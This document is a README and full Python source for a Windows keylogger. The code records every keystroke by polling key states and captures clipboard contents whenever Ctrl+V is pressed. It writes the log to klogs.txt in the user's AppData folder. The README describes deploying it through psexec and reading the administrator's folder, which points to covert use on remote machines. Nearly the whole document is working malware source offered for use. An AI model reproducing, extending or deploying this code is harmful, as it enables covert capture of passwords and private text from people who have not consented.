Keylogger

This keylogger is the good one after many many researches

* It capable of tracking simple capital letters

* Copy paste by accessing clipboard

* Shows symbols

Which was not in previous keyloggers.

And also it has been CPU optimized.

Key logs will be saved in appdata\Roaming

If you are using psexec make sure you are looking administrator's appdata

#THIS IS FULLY ORGANIZED KEYLOGGER WHICH IS CAPABLE OF TRACKING SYMBOLS

#CAPITAL LETTERS, SIMPLE LETTERS TABS SHIFTS AND OTHERS.

import threading, time

from ctypes import *

import win32clipboard

import subprocess

#DEFINING KEY LOG PATH

com = "echo %appdata%"

proc = subprocess.Popen(com, shell=True, stdout=subprocess.PIPE , stderr = subprocess.PIPE, stdin = subprocess.PIPE)

beff = proc.stdout.read()+proc.stderr.read()

beff = beff.rstrip()

logbuk = beff+"\\klogs.txt"

class Thread():

def __init__(self, addressOf, args):

self.terminate = False

self.Instance = threading.Thread(target=addressOf, args=args)

self.Instance.daemon = True

self.Instance.start()

VKStr = {}

VKStr[0x01] = "<LEFT_MOUSEE>"

VKStr[0x02] = "<RIGHT_MOUSE>"

VKStr[0x03] = "<MIDDLE_MOUSE>"

VKStr[0x08] = "<BACKSPACE>"

VKStr[0x09] = "<TAB>"

VKStr[0x0D] = "<ENTER>"

VKStr[0x10] = "SHIFT"

VKStr[0x11] = "<CTRL>"

VKStr[0x12] = "<ALT>"

VKStr[0x14] = "<CAPSLOCK>"

VKStr[0x18] = "<ESCAPE>"

VKStr[0x20] = " "

VKStr[0x25] = "<LEFT_ARROW>"

VKStr[0x26] = "<UP_ARROW>"

VKStr[0x27] = "<RIGHT_ARROW>"

VKStr[0x28] = "<DOWN_ARROW>"

VKStr[0x2C] = "<PRINT_SCREEN>"

VKStr[0x30] = "0"

VKStr[0x31] = "1"

VKStr[0x32] = "2"

VKStr[0x33] = "3"

VKStr[0x34] = "4"

VKStr[0x35] = "5"

VKStr[0x36] = "6"

VKStr[0x37] = "7"

VKStr[0x38] = "8"

VKStr[0x39] = "9"

VKStr[0x41] = "a"

VKStr[0x42] = "b"

VKStr[0x43] = "c"

VKStr[0x44] = "d"

VKStr[0x45] = "e"

VKStr[0x46] = "f"

VKStr[0x47] = "g"

VKStr[0x48] = "h"

VKStr[0x49] = "i"

VKStr[0x4A] = "j"

VKStr[0x4B] = "k"

VKStr[0x4C] = "l"

VKStr[0x4D] = "m"

VKStr[0x4E] = "n"

VKStr[0x4F] = "o"

VKStr[0x50] = "p"

VKStr[0x51] = "q"

VKStr[0x52] = "r"

VKStr[0x53] = "s"

VKStr[0x54] = "t"

VKStr[0x55] = "u"

VKStr[0x56] = "v"

VKStr[0x57] = "w"

VKStr[0x58] = "x"

VKStr[0x59] = "y"

VKStr[0x5A] = "z"

ShiftEquivs={}

ShiftEquivs[0x30] = ")"

ShiftEquivs[0x31] = "!"

ShiftEquivs[0x32] = "\""

#ShiftEquivs[0x34] = "$"

ShiftEquivs[0x35] = "%"

ShiftEquivs[0x36] = "^"

ShiftEquivs[0x37] = "&"

ShiftEquivs[0x38] = "*"

ShiftEquivs[0x39] = "("

ActiveKeys = {}

def StringToVK(string):

for key, value in VKStr.items():

if value == string:

return key

def VKToString(VK):

return VKStr[VK]

def IsKeyPressed(VK_KEYCODE):

if type(VK_KEYCODE) == str:

try:

VK_KEYCODE = StringToVK(VK_KEYCODE)

except:

raise Exception("Exception caught in sub: 'IsKeyPressed' arg VK_KEYCODE is invalid")

return

return windll.user32.GetKeyState(c_int(VK_KEYCODE)) & 0x8000 != 0

def IsKeyToggled(VK_KEYCODE):

return windll.user32.GetKeyState(c_int(VK_KEYCODE)) & 0x0001 != 0

class KeyTracker:

def __init__(self):

self.tracking = False

self.tracked_string_concat = ""

self.file_open = False

def StartTracking(self):

self.tracking = True

def StopTracking(self):

#self.tracking = False IT USED MADE FALSE THIS VARIABLE AFTER CERTAIN SECONDS

self.CompileData()

self.tracked_string_concat = ""

#DATA WRITTEN TO THE FILE AND tracked_string_concat WILL BE EMPTY

def KeyDown(self, key):

if self.tracking and VKToString(key) != "SHIFT":

if IsKeyToggled(StringToVK("<CAPSLOCK>")):

self.tracked_string_concat = self.tracked_string_concat + VKToString(key).upper()

elif IsKeyPressed(StringToVK("SHIFT")):

shiftEquiv = False

try:

ShiftEquivs[key]

shiftEquiv = True

except:

pass

if shiftEquiv:

self.tracked_string_concat = self.tracked_string_concat + ShiftEquivs[key]

else:

self.tracked_string_concat = self.tracked_string_concat + VKToString(key).upper()

#TRACK THE COPY PASTE ITEMS BY CLIPBOARD

elif IsKeyPressed(StringToVK('<CTRL>')):

if IsKeyPressed(StringToVK('v')):

win32clipboard.OpenClipboard()

pasted_value = win32clipboard.GetClipboardData()

win32clipboard.CloseClipboard()

pasted_str = "<COPY>" + pasted_value + "<COPY>"

self.tracked_string_concat = self.tracked_string_concat + pasted_str

else:

self.tracked_string_concat = self.tracked_string_concat + VKToString(key)

def KeyUp(self, key):

if self.tracking and VKToString(key) == "SHIFT":

#self.tracked_string_concat = self.tracked_string_concat + VKToString(key)

pass

def UpdateKeyState(self, key, state):

def SetKeyState(key, state):

ActiveKeys[key] = state

if state == True:

self.KeyDown(key)

elif state == False:

self.KeyUp(key)

keyExists = False

try:

ActiveKeys[key]

keyExists = True

except:

pass

if keyExists:

if ActiveKeys[key] != state:

SetKeyState(key, state)

else:

SetKeyState(key, state)

def CompileData(self):

try:

file = open(logbuk, "a")

file.write("\n")

file.write("-"*15)

file.write("\n")

file.write(self.tracked_string_concat)

file.close()

except:

pass

def TrackData(self, time_length): #timeLength in seconds

KeyTracker.StartTracking()

#CHECKING FOR EXCEEDING 100 CHARS FOR WRITE THE FILE

while True:

if len(self.tracked_string_concat) > 200:

KeyTracker.StopTracking()

time.sleep(0.05)

KeyTracker = KeyTracker()

#Thread starts making track variable state becomes True. After tracked_string_concat fills 100 chars writing to the file

t = Thread(KeyTracker.TrackData, [10])

while True:

for key, key_name in VKStr.items():

KeyTracker.UpdateKeyState(key, IsKeyPressed(key))

time.sleep(0.005)